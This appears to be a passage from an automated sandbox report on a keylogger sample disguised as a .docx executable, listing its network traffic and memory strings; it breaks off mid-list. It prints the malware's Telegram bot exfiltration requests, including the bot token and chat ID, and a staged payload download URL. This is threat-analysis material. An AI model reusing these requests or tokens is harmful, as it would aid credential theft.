Source: global traffic	HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd2941500303d9Host: api.telegram.orgContent-Length: 535
Source: global traffic	HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd25d7579be125Host: api.telegram.orgContent-Length: 535
Source: global traffic	HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd26086a764c20Host: api.telegram.orgContent-Length: 535

Source: Joe Sandbox View	IP Address: 149.154.167.220 149.154.167.220
Source: Joe Sandbox View	IP Address: 185.166.143.49 185.166.143.49
Source: Joe Sandbox View	IP Address: 132.226.247.73 132.226.247.73

Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: unknown

DNS query: name: checkip.dyndns.org

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49716 -> 52.217.32.148:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49715 -> 185.166.143.49:443

Source: global traffic	HTTP traffic detected: GET /ntim1478/gpmaw/downloads/202_Cneehezxuzj HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: bitbucket.org
Source: global traffic	HTTP traffic detected: GET /e427e629-62a6-4ecd-bf22-56e4d6ea083f/downloads/3fdf6255-c09f-4309-a330-311e812ab273/202_Cneehezxuzj?response-content-disposition=attachment%3B%20filename%3D%22202_Cneehezxuzj%22&AWSAccessKeyId=ASIA6KOSE3BNEALCMKKZ&Signature=5HNNyrRhI17TtxEvBhRXBlIjzcE%3D&x-amz-security-token=IQoJb3JpZ2luX2VjEJj%2F%2F%2F%2F%2F%2F%2F%2F%2F%2FwEaCXVzLWVhc3QtMSJHMEUCIHzBvFwyiabwJo1RlEoXCuvYHlAj6GVUZcZJKMBSK6ENAiEA3lwDPyl2LnkI6qpuGfjEQS9N8qqF9JEL2NUziGWNIn8qpwIIYBAAGgw5ODQ1MjUxMDExNDYiDDj%2BrSjdv5z1DIwKsiqEApJ6u4jhBQd6j%2F999%2FKkXtAvgpY37KiSNSwzYxBC8wGz1X3uO0OlC3WWJ5HAblmMn89zpI6f9%2BRlrc7sEdixhZASuJjFVAm0rJDVe%2BcMUyRk%2FduiqyuXya%2BU7xCgRBhsKNelgYsfCR%2FexdjG4q1vGkc8XCMvlYKeYOdtMKIRlFzLXsXEh8MrIP8O90zcOf2tzV0xktzXWNPU1azrGxRsSRJXq35xOUz0%2FJR%2FQfN0mW9QaJrOxnrli3WFJajfSk9OFZwIhVZ8aqEv%2FHqW4txt8CUPEz8sZ1QR29gsSzQcgvThmwSrYgPJSR2%2BdgVltAF%2F17Esh33PZq4j1bIpUHdeXcONqWL9MJ3Ji7sGOp0BjViqRpDV2XSIOnqCOIjo564QwrPkJGWVJI%2B7Qg%2BAmAfIYrTa4QwMXzoydc9fWDEBwHeXx4VGraN4rvN9o4uGCAK98mQ8Io30CJ2mll5bGrmu1Y%2B9SoBV38pLHiwvgAzvv3NdmAsCcGRS%2Fvc9QAw7npYb9JKojViWZN33%2FPyasPn%2FGYHRVXxtJTebEdkz7iFZfvYPbjkmr4Agj%2FIHWA%3D%3D&Expires=1734536101 HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: bbuseruploads.s3.amazonaws.com
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /ntim1478/gpmaw/downloads/202_Cneehezxuzj HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: bitbucket.org
Source: global traffic	HTTP traffic detected: GET /e427e629-62a6-4ecd-bf22-56e4d6ea083f/downloads/3fdf6255-c09f-4309-a330-311e812ab273/202_Cneehezxuzj?response-content-disposition=attachment%3B%20filename%3D%22202_Cneehezxuzj%22&AWSAccessKeyId=ASIA6KOSE3BNEALCMKKZ&Signature=5HNNyrRhI17TtxEvBhRXBlIjzcE%3D&x-amz-security-token=IQoJb3JpZ2luX2VjEJj%2F%2F%2F%2F%2F%2F%2F%2F%2F%2FwEaCXVzLWVhc3QtMSJHMEUCIHzBvFwyiabwJo1RlEoXCuvYHlAj6GVUZcZJKMBSK6ENAiEA3lwDPyl2LnkI6qpuGfjEQS9N8qqF9JEL2NUziGWNIn8qpwIIYBAAGgw5ODQ1MjUxMDExNDYiDDj%2BrSjdv5z1DIwKsiqEApJ6u4jhBQd6j%2F999%2FKkXtAvgpY37KiSNSwzYxBC8wGz1X3uO0OlC3WWJ5HAblmMn89zpI6f9%2BRlrc7sEdixhZASuJjFVAm0rJDVe%2BcMUyRk%2FduiqyuXya%2BU7xCgRBhsKNelgYsfCR%2FexdjG4q1vGkc8XCMvlYKeYOdtMKIRlFzLXsXEh8MrIP8O90zcOf2tzV0xktzXWNPU1azrGxRsSRJXq35xOUz0%2FJR%2FQfN0mW9QaJrOxnrli3WFJajfSk9OFZwIhVZ8aqEv%2FHqW4txt8CUPEz8sZ1QR29gsSzQcgvThmwSrYgPJSR2%2BdgVltAF%2F17Esh33PZq4j1bIpUHdeXcONqWL9MJ3Ji7sGOp0BjViqRpDV2XSIOnqCOIjo564QwrPkJGWVJI%2B7Qg%2BAmAfIYrTa4QwMXzoydc9fWDEBwHeXx4VGraN4rvN9o4uGCAK98mQ8Io30CJ2mll5bGrmu1Y%2B9SoBV38pLHiwvgAzvv3NdmAsCcGRS%2Fvc9QAw7npYb9JKojViWZN33%2FPyasPn%2FGYHRVXxtJTebEdkz7iFZfvYPbjkmr4Agj%2FIHWA%3D%3D&Expires=1734536101 HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: bbuseruploads.s3.amazonaws.com
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: bitbucket.org
Source: global traffic	DNS traffic detected: DNS query: bbuseruploads.s3.amazonaws.com
Source: global traffic	DNS traffic detected: DNS query: checkip.dyndns.org
Source: global traffic	DNS traffic detected: DNS query: api.telegram.org

Source: unknown

HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd1f4d1c06ddc3Host: api.telegram.orgContent-Length: 535Connection: Keep-Alive

Source: xzeheenC.pif, 00000004.00000002.3468357631.000000001D42D000.00000004.00000800.00020000.00000000.sdmp, xzeheenC.pif, 00000004.00000002.3468357631.000000001D423000.00000004.00000800.00020000.00000000.sdmp, xzeheenC.pif, 00000004.00000002.3468357631.000000001D393000.00000004.00000800.00020000.00000000.sdmp, xzeheenC.pif, 00000004.00000002.3468357631.000000001D56A000.00000004.00000800.00020000.00000000.sdmp, xzeheenC.pif, 00000004.00000002.3468357631.000000001D547000.00000004.00000800.00020000.00000000.sdmp, xzeheenC.pif, 00000004.00000002.3468357631.000000001D65F000.00000004.00000800.00020000.00000000.sdmp, xzeheenC.pif, 00000004.00000002.3468357631.000000001D3F5000.00000004.00000800.00020000.00000000.sdmp, xzeheenC.pif, 00000009.00000002.3471546461.0000000034797000.00000004.00000800.00020000.00000000.sdmp, xzeheenC.pif, 00000009.00000002.3471546461.0000000034639000.00000004.00000800.00020000.00000000.sdmp, xzeheenC.pif, 00000009.00000002.3471546461.000000003475D000.00000004.00000800.00020000.00000000.sdmp, xzeheenC.pif, 0000000D.00000002.3468608975.0000000030FC5000.00000004.00000800.00020000.00000000.sdmp, xzeheenC.pif, 0000000D.00000002.3468608975.0000000030E57000.00000004.00000800.00020000.00000000.sdmp, xzeheenC.pif, 0000000D.00000002.3468608975.0000000030F7F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://api.telegram.org
Source: D.G Governor Istek,Docx.exe, 00000000.00000002.2274262219.0000000020800000.00000004.00001000.00020000.00000000.sdmp, D.G Governor Istek,Docx.exe, 00000000.00000002.2277099019.0000000021778000.00000004.00001000.00020000.00000000.sdmp, D.G Governor Istek,Docx.exe, 00000000.00000003.2226424806.000000007F0C0000.00000004.00001000.00020000.00000000.sdmp, D.G Governor Istek,Docx.exe, 00000000.00000002.2277821297.000000002190E000.00000004.00000020.00020000.00000000.sdmp, D.G Governor Istek,Docx.exe, 00000000.00000002.2279806088.000000007F450000.00000004.00001000.00020000.00000000.sdmp, Cneehezx.PIF, 00000006.00000002.2383062167.0000000021300000.00000004.00000020.00020000.00000000.sdmp, Cneehezx.PIF, 00000006.00000002.2375761543.0000000020833000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: D.G Governor Istek,Docx.exe, 00000000.00000002.2274262219.0000000020800000.00000004.00001000.00020000.00000000.sdmp, D.G Governor Istek,Docx.exe, 00000000.00000002.2277099019.0000000021778000.00000004.00001000.00020000.00000000.sdmp, D.G Governor Istek,Docx.exe, 00000000.00000003.2226424806.000000007F0C0000.00000004.00001000.00020000.00000000.sdmp, D.G Governor Istek,Docx.exe, 00000000.00000002.2277821297.000000002190E000.00000004.00000020.00020000.00000000.sdmp, D.G Governor Istek,Docx.exe, 00000000.00000002.2279806088.000000007F450000.00000004.00001000.00020000.00000000.sdmp, Cneehezx.PIF, 00000006.00000002.2383062167.0000000021300000.00000004.00000020.00020000.00000000.sdmp, Cneehezx.PIF, 00000006.00000002.2375761543.0000000020833000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: D.G Governor Istek,Docx.exe, 00000000.00000002.2274262219.0000000020800000.00000004.00001000.00020000.00000000.sdmp, D.G Governor Istek,Docx.exe, 00000000.00000002.2277099019.0000000021778000.00000004.00001000.00020000.00000000.sdmp, D.G Governor Istek,Docx.exe, 00000000.00000003.2226424806.000000007F0C0000.00000004.00001000.00020000.00000000.sdmp, D.G Governor Istek,Docx.exe, 00000000.00000002.2277821297.000000002190E000.00000004.00000020.00020000.00000000.sdmp, D.G Governor Istek,Docx.exe, 00000000.00000002.2279806088.000000007F450000.00000004.00001000.00020000.00000000.sdmp, Cneehezx.PIF, 00000006.00000002.2383062167.0000000021300000.00000004.00000020.00020000.00000000.sdmp, Cneehezx.PIF, 00000006.00000002.2375761543.0000000020833000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: xzeheenC.pif, 00000004.00000002.3468357631.000000001D2F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.P
Source: xzeheenC.pif, 00000004.00000002.3468357631.000000001D2F1000.00000004.00000800.00020000.00000000.sdmp, xzeheenC.pif, 00000009.00000002.3471546461.0000000034551000.00000004.00000800.00020000.00000000.sdmp, xzeheenC.pif, 0000000D.00000002.3468608975.0000000030D71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/p
Source: D.G Governor Istek,Docx.exe, 00000000.00000002.2274262219.0000000020800000.00000004.00001000.00020000.00000000.sdmp, D.G Governor Istek,Docx.exe, 00000000.00000002.2277099019.0000000021778000.00000004.00001000.00020000.00000000.sdmp, D.G Governor Istek,Docx.exe, 00000000.00000003.2226424806.000000007F0C0000.00000004.00001000.00020000.00000000.sdmp, D.G Governor Istek,Docx.exe, 00000000.00000002.2277821297.000000002190E000.00000004.00000020.00020000.00000000.sdmp, D.G Governor Istek,Docx.exe, 00000000.00000002.2279806088.000000007F450000.00000004.00001000.00020000.00000000.sdmp, Cneehezx.PIF, 00000006.00000002.2383062167.0000000021300000.00000004.00000020.00020000.00000000.sdmp, Cneehezx.PIF, 00000006.00000002.2375761543.0000000020833000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl04
Source: D.G Governor Istek,Docx.exe, 00000000.00000002.2278122938.0000000021A1C000.00000004.00001000.00020000.00000000.sdmp, D.G Governor Istek,Docx.exe, 00000000.00000002.2277099019.0000000021778000.00000004.00001000.00020000.00000000.sdmp, D.G Governor Istek,Docx.exe, 00000000.00000003.2226424806.000000007F0C0000.00000004.00001000.00020000.00000000.sdmp, D.G Governor Istek,Docx.exe, 00000000.00000003.2232552355.000000007F11A000.00000004.00001000.00020000.00000000.sdmp, D.G Governor Istek,Docx.exe, 00000000.00000002.2279806088.000000007F450000.00000004.00001000.00020000.00000000.sdmp, D.G Governor Istek,Docx.exe, 00000000.00000002.2278647892.0000000021AF0000.00000004.00000020.00020000.00000000.sdmp, xzeheenC.pif.0.dr	String found in binary or memory: http://crl.comodoca.com/COMODOCodeSigningCA2.crl0r
Source: D.G Governor Istek,Docx.exe, 00000000.00000002.2274262219.0000000020800000.00000004.00001000.00020000.00000000.sdmp, D.G Governor Istek,Docx.exe, 00000000.00000002.2277099019.0000000021778000.00000004.00001000.00020000.00000000.sdmp, D.G Governor Istek,Docx.exe, 00000000.00000003.2226424806.000000007F0C0000.00000004.00001000.00020000.00000000.sdmp, D.G Governor Istek,Docx.exe, 00000000.00000002.2277821297.000000002190E000.00000004.00000020.00020000.00000000.sdmp, D.G Governor Istek,Docx.exe, 00000000.00000002.2279806088.000000007F450000.00000004.00001000.00020000.00000000.sdmp, Cneehezx.PIF, 00000006.00000002.2383062167.0000000021300000.00000004.00000020.00020000.00000000.sdmp, Cneehezx.PIF, 00000006.00000002.2375761543.0000000020833000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl.sectigo.com/SectigoPublicCodeSigningCAEVR36.crl0
Source: D.G Governor Istek,Docx.exe, 00000000.00000002.2274262219.0000000020800000.00000004.00001000.00020000.00000000.sdmp, D.G Governor Istek,Docx.exe, 00000000.00000002.2277099019.0000000021778000.00000004.00001000.00020000.00000000.sdmp, D.G Governor Istek,Docx.exe, 00000000.00000003.2226424806.000000007F0C0000.00000004.00001000.00020000.00000000.sdmp, D.G Governor Istek,Docx.exe, 00000000.00000002.2277821297.000000002190E000.00000004.00000020.00020000.00000000.sdmp, D.G Governor Istek,Docx.exe, 00000000.00000002.2279806088.000000007F450000.00000004.00001000.00020000.00000000.sdmp, Cneehezx.PIF, 00000006.00000002.2383062167.0000000021300000.00000004.00000020.00020000.00000000.sdmp, Cneehezx.PIF, 00000006.00000002.2375761543.0000000020833000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0
Source: D.G Governor Istek,Docx.exe, 00000000.00000002.2274262219.0000000020800000.00000004.00001000.00020000.00000000.sdmp, D.G Governor Istek,Docx.exe, 00000000.00000002.2277099019.0000000021778000.00000004.00001000.00020000.00000000.sdmp, D.G Governor Istek,Docx.exe, 00000000.00000003.2226424806.000000007F0C0000.00000004.00001000.00020000.00000000.sdmp, D.G Governor Istek,Docx.exe, 00000000.00000002.2277821297.000000002190E000.00000004.00000020.00020000.00000000.sdmp, D.G Governor Istek,Docx.exe, 00000000.00000002.2279806088.000000007F450000.00000004.00001000.00020000.00000000.sdmp, Cneehezx.PIF, 00000006.00000002.2383062167.0000000021300000.00000004.00000020.00020000.00000000.sdmp, Cneehezx.PIF, 00000006.00000002.2375761543.0000000020833000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: D.G Governor Istek,Docx.exe, 00000000.00000002.2274262219.0000000020800000.00000004.00001000.00020000.00000000.sdmp, D.G Governor Istek,Docx.exe, 00000000.00000002.2277099019.0000000021778000.00000004.00001000.00020000.00000000.sdmp, D.G Governor Istek,Docx.exe, 00000000.00000003.2226424806.000000007F0C0000.00000004.00001000.00020000.00000000.sdmp, D.G Governor Istek,Docx.exe, 00000000.00000002.2277821297.000000002190E000.00000004.00000020.00020000.00000000.sdmp, D.G Governor Istek,Docx.exe, 00000000.00000002.2279806088.000000007F450000.00000004.00001000.00020000.00000000.sdmp, Cneehezx.PIF, 00000006.00000002.2383062167.0000000021300000.00000004.00000020.00020000.00000000.sdmp, Cneehezx.PIF, 00000006.00000002.2375761543.0000000020833000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: D.G Governor Istek,Docx.exe, 00000000.00000002.2274262219.0000000020800000.00000004.00001000.00020000.00000000.sdmp, D.G Governor Istek,Docx.exe, 00000000.00000002.2277099019.0000000021778000.00000004.00001000.00020000.00000000.sdmp, D.G Governor Istek,Docx.exe, 00000000.00000003.2226424806.000000007F0C0000.00000004.00001000.00020000.00000000.sdmp, D.G Governor Istek,Docx.exe, 00000000.00000002.2277821297.000000002190E000.00000004.00000020.00020000.00000000.sdmp, D.G Governor Istek,Docx.exe, 00000000.00000002.2279806088.000000007F450000.00000004.00001000.00020000.00000000.sdmp, Cneehezx.PIF, 00000006.00000002.2383062167.0000000021300000.00000004.00000020.00020000.00000000.sdmp, Cneehezx.PIF, 00000006.00000002.2375761543.0000000020833000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: D.G Governor Istek,Docx.exe, 00000000.00000002.2274262219.0000000020800000.00000004.00001000.00020000.00000000.sdmp, D.G Governor Istek,Docx.exe, 00000000.00000002.2277099019.0000000021778000.00000004.00001000.00020000.00000000.sdmp, D.G Governor Istek,Docx.exe, 00000000.00000003.2226424806.000000007F0C0000.00000004.00001000.00020000.00000000.sdmp, D.G Governor Istek,Docx.exe, 00000000.00000002.2277821297.000000002190E000.00000004.00000020.00020000.00000000.sdmp, D.G Governor Istek,Docx.exe, 00000000.00000002.2279806088.000000007F450000.00000004.00001000.00020000.00000000.sdmp, Cneehezx.PIF, 00000006.00000002.2383062167.0000000021300000.00000004.00000020.00020000.00000000.sdmp, Cneehezx.PIF, 00000006.00000002.2375761543.0000000020833000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crt.sectigo.com/SectigoPublicCodeSigningCAEVR36.crt0#
Source: D.G Governor Istek,Docx.exe, 00000000.00000002.2274262219.0000000020800000.00000004.00001000.00020000.00000000.sdmp, D.G Governor Istek,Docx.exe, 00000000.00000002.2277099019.0000000021778000.00000004.00001000.00020000.00000000.sdmp, D.G Governor Istek,Docx.exe, 00000000.00000003.2226424806.000000007F0C0000.00000004.00001000.00020000.00000000.sdmp, D.G Governor Istek,Docx.exe, 00000000.00000002.2277821297.000000002190E000.00000004.00000020.00020000.00000000.sdmp, D.G Governor Istek,Docx.exe, 00000000.00000002.2279806088.000000007F450000.00000004.00001000.00020000.00000000.sdmp, Cneehezx.PIF, 00000006.00000002.2383062167.0000000021300000.00000004.00000020.00020000.00000000.sdmp, Cneehezx.PIF, 00000006.00000002.2375761543.0000000020833000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#
Source: D.G Governor Istek,Docx.exe, 00000000.00000002.2274262219.0000000020800000.00000004.00001000.00020000.00000000.sdmp, D.G Governor Istek,Docx.exe, 00000000.00000002.2277099019.0000000021778000.00000004.00001000.00020000.00000000.sdmp, D.G Governor Istek,Docx.exe, 00000000.00000003.2226424806.000000007F0C0000.00000004.00001000.00020000.00000000.sdmp, D.G Governor Istek,Docx.exe, 00000000.00000002.2277821297.000000002190E000.00000004.00000020.00020000.00000000.sdmp, D.G Governor Istek,Docx.exe, 00000000.00000002.2279806088.000000007F450000.00000004.00001000.00020000.00000000.sdmp, Cneehezx.PIF, 00000006.00000002.2383062167.0000000021300000.00000004.00000020.00020000.00000000.sdmp, Cneehezx.PIF, 00000006.00000002.2375761543.0000000020833000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0
Source: D.G Governor Istek,Docx.exe, 00000000.00000002.2278122938.0000000021A1C000.00000004.00001000.00020000.00000000.sdmp, D.G Governor Istek,Docx.exe, 00000000.00000002.2277099019.0000000021778000.00000004.00001000.00020000.00000000.sdmp, D.G Governor Istek,Docx.exe, 00000000.00000003.2226424806.000000007F0C0000.00000004.00001000.00020000.00000000.sdmp, D.G Governor Istek,Docx.exe, 00000000.00000003.2232552355.000000007F11A000.00000004.00001000.00020000.00000000.sdmp, D.G Governor Istek,Docx.exe, 00000000.00000002.2279806088.000000007F450000.00000004.00001000.00020000.00000000.sdmp, D.G Governor Istek,Docx.exe, 00000000.00000002.2278647892.0000000021AF0000.00000004.00000020.00020000.00000000.sdmp, xzeheenC.pif.0.dr	String found in binary or memory: http://ocsp.comodoca.com0$
Source: D.G Governor Istek,Docx.exe, 00000000.00000002.2274262219.0000000020800000.00000004.00001000.00020000.00000000.sdmp, D.G Governor Istek,Docx.exe, 00000000.00000002.2277099019.0000000021778000.00000004.00001000.00020000.00000000.sdmp, D.G Governor Istek,Docx.exe, 00000000.00000003.2226424806.000000007F0C0000.00000004.00001000.00020000.00000000.sdmp, D.G Governor Istek,Docx.exe, 00000000.00000002.2277821297.000000002190E000.00000004.00000020.00020000.00000000.sdmp, D.G Governor Istek,Docx.exe, 00000000.00000002.2279806088.000000007F450000.00000004.00001000.00020000.00000000.sdmp, Cneehezx.PIF, 00000006.00000002.2383062167.0000000021300000.00000004.00000020.00020000.00000000.sdmp, Cneehezx.PIF, 00000006.00000002.2375761543.0000000020833000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0A
Source: D.G Governor Istek,Docx.exe, 00000000.00000002.2274262219.0000000020800000.00000004.00001000.00020000.00000000.sdmp, D.G Governor Istek,Docx.exe, 00000000.00000002.2277099019.0000000021778000.00000004.00001000.00020000.00000000.sdmp, D.G Governor Istek,Docx.exe, 00000000.00000003.2226424806.000000007F0C0000.00000004.00001000.00020000.00000000.sdmp, D.G Governor Istek,Docx.exe, 00000000.00000002.2277821297.000000002190E000.00000004.00000020.00020000.00000000.sdmp, D.G Governor Istek,Docx.exe, 00000000.00000002.2279806088.000000007F450000.00000004.00001000.00020000.00000000.sdmp, Cneehezx.PIF, 00000006.00000002.2383062167.0000000021300000.00000004.00000020.00020000.00000000.sdmp, Cneehezx.PIF, 00000006.00000002.2375761543.0000000020833000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0C
Source: D.G Governor Istek,Docx.exe, 00000000.00000002.2274262219.0000000020800000.00000004.00001000.00020000.00000000.sdmp, D.G Governor Istek,Docx.exe, 00000000.00000002.2277099019.0000000021778000.00000004.00001000.00020000.00000000.sdmp, D.G Governor Istek,Docx.exe, 00000000.00000003.2226424806.000000007F0C0000.00000004.00001000.00020000.00000000.sdmp, D.G Governor Istek,Docx.exe, 00000000.00000002.2277821297.000000002190E000.00000004.00000020.00020000.00000000.sdmp, D.G Governor Istek,Docx.exe, 00000000.00000002.2279806088.000000007F450000.00000004.00001000.00020000.00000000.sdmp, Cneehezx.PIF, 00000006.00000002.2383062167.0000000021300000.00000004.00000020.00020000.00000000.sdmp, Cneehezx.PIF, 00000006.00000002.2375761543.0000000020833000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0X
Source: D.G Governor Istek,Docx.exe, 00000000.00000002.2274262219.0000000020800000.00000004.00001000.00020000.00000000.sdmp, D.G Governor Istek,Docx.exe, 00000000.00000002.2277099019.0000000021778000.00000004.00001000.00020000.00000000.sdmp, D.G Governor Istek,Docx.exe, 00000000.00000003.2226424806.000000007F0C0000.00000004.00001000.00020000.00000000.sdmp, D.G Governor Istek,Docx.exe, 00000000.00000002.2277821297.000000002190E000.00000004.00000020.00020000.00000000.sdmp, D.G Governor Istek,Docx.exe, 00000000.00000002.2279806088.000000007F450000.00000004.00001000.00020000.00000000.sdmp, Cneehezx.PIF, 00000006.00000002.2383062167.0000000021300000.00000004.00000020.00020000.00000000.sdmp, Cneehezx.PIF, 00000006.00000002.2375761543.0000000020833000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.sectigo.com0
Source: D.G Governor Istek,Docx.exe, 00000000.00000002.2274262219.0000000020800000.00000004.00001000.00020000.00000000.sdmp, D.G Governor Istek,Docx.exe, 00000000.00000002.2277099019.0000000021778000.00000004.00001000.00020000.00000000.sdmp, D.G Governor Istek,Docx.exe, 00000000.00000003.2226424806.000000007F0C0000.00000004.00001000.00020000.00000000.sdmp, D.G Governor Istek,Docx.exe, 00000000.00000002.2277821297.000000002190E000.00000004.00000020.00020000.00000000.sdmp, D.G Governor Istek,Docx.exe, 00000000.00000002.2279806088.000000007F450000.00000004.00001000.00020000.00000000.sdmp, Cneehezx.PIF, 00000006.00000002.2383062167.0000000021300000.00000004.00000020.00020000.00000000.sdmp, Cneehezx.PIF, 00000006.00000002.2375761543.0000000020833000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.sectigo.com0C
Source: xzeheenC.pif, 00000004.00000002.3468357631.000000001D2F1000.00000004.00000800.00020000.00000000.sdmp, xzeheenC.pif, 00000009.00000002.3471546461.0000000034551000.00000004.00000800.00020000.00000000.sdmp, xzeheenC.pif, 0000000D.00000002.3468608975.0000000030D71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: D.G Governor Istek,Docx.exe, 00000000.00000002.2278122938.0000000021A1C000.00000004.00001000.00020000.00000000.sdmp, D.G Governor Istek,Docx.exe, 00000000.00000002.2277099019.0000000021778000.00000004.00001000.00020000.00000000.sdmp, D.G Governor Istek,Docx.exe, 00000000.00000003.2226424806.000000007F0C0000.00000004.00001000.00020000.00000000.sdmp, D.G Governor Istek,Docx.exe, 00000000.00000003.2232552355.000000007F11A000.00000004.00001000.00020000.00000000.sdmp, D.G Governor Istek,Docx.exe, 00000000.00000002.2279806088.000000007F450000.00000004.00001000.00020000.00000000.sdmp, D.G Governor Istek,Docx.exe, 00000000.00000002.2278647892.0000000021AF0000.00000004.00000020.00020000.00000000.sdmp, xzeheenC.pif.0.dr	String found in binary or memory: http://www.pmail.com0
Source: xzeheenC.pif, 00000004.00000002.3468357631.000000001D42D000.00000004.00000800.00020000.00000000.sdmp, xzeheenC.pif, 00000004.00000002.3468357631.000000001D423000.00000004.00000800.00020000.00000000.sdmp, xzeheenC.pif, 00000004.00000002.3468357631.000000001D2F1000.00000004.00000800.00020000.00000000.sdmp, xzeheenC.pif, 00000004.00000002.3468357631.000000001D56A000.00000004.00000800.00020000.00000000.sdmp, xzeheenC.pif, 00000004.00000002.3468357631.000000001D547000.00000004.00000800.00020000.00000000.sdmp, xzeheenC.pif, 00000009.00000002.3471546461.0000000034797000.00000004.00000800.00020000.00000000.sdmp, xzeheenC.pif, 00000009.00000002.3471546461.0000000034639000.00000004.00000800.00020000.00000000.sdmp, xzeheenC.pif, 00000009.00000002.3471546461.0000000034551000.00000004.00000800.00020000.00000000.sdmp, xzeheenC.pif, 00000009.00000002.3471546461.000000003475D000.00000004.00000800.00020000.00000000.sdmp, xzeheenC.pif, 